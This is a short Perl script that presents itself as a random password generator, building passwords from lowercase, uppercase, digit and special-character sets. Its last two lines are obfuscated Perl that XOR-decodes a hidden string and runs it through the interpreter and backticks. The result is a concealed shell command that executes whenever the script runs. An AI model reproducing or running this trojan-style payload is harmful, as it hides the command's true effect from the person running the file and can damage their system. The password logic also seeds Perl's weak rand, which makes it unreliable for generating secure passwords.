#!/usr/bin/perl
use strict;
use warnings;
print mkpasswd({
minlen => 8,
maxlen => 10,
lower => 1,
special => 1,
upper => 1,
digit => 1,
});
sub mkpasswd {
my($param)= @_;
if( not ref $param ) {
$param= {
minlen => $param,
maxlen => $param,
};
}
if( ref $param eq 'HASH' ) {
$param->{minlen}||= 8;
$param->{maxlen}||= $param->{minlen} + 2;
}
my ( @l, @u, @n, @s, @p);
open( URANDOM, "</dev/urandom" ) || die $!;
read( URANDOM, $_, 4 );
close URANDOM;
srand( unpack( "L", $_ ) );
@l = ( "a" .. "z" );
@u = ( "A" .. "Z" );
@n = ( 0 .. 9 );
@s = (
'#', ',', ' ',
qw# ! " $ % & ' ( ) * + - . / : ; < = > ? @ [ \ ] ^ _ ` { | }
+ ~ #
);
push( @p, $l[rand(@l)] ) for ( 1 .. $param->{lower} );
push( @p, $u[rand(@u)] ) for ( 1 .. $param->{upper} );
push( @p, $n[rand(@n)] ) for ( 1 .. $param->{digit} );
push( @p, $s[rand(@s)] ) for ( 1 .. $param->{special} );
my $m = $param->{minlen} - @p;
$m=0 if $m<0;
my $x = $param->{maxlen} - @p - $m + 1;
$x=0 if $x<0;
my(@j)= ( @l, @u, @s, @n );
$x= $m + rand($x);
push( @p, $j[rand(@j)] ) for ( 1 .. $x );
for ( my $i = @p ; --$i ; ) {
my $j = int( rand( $i + 1 ) );
next if $i == $j;
@p[ $i, $j ] = @p[ $j, $i ];
}
return join( "", @p );
}
s$$([},&%#}/&/]+}%&{})*;#$&&s&&$^X.($'^"%]=\&(|?*{%
+.+=%;.#_}\&"^"-+%*).}%:##%}={~=~:.")&e&&s""`$''`"e
|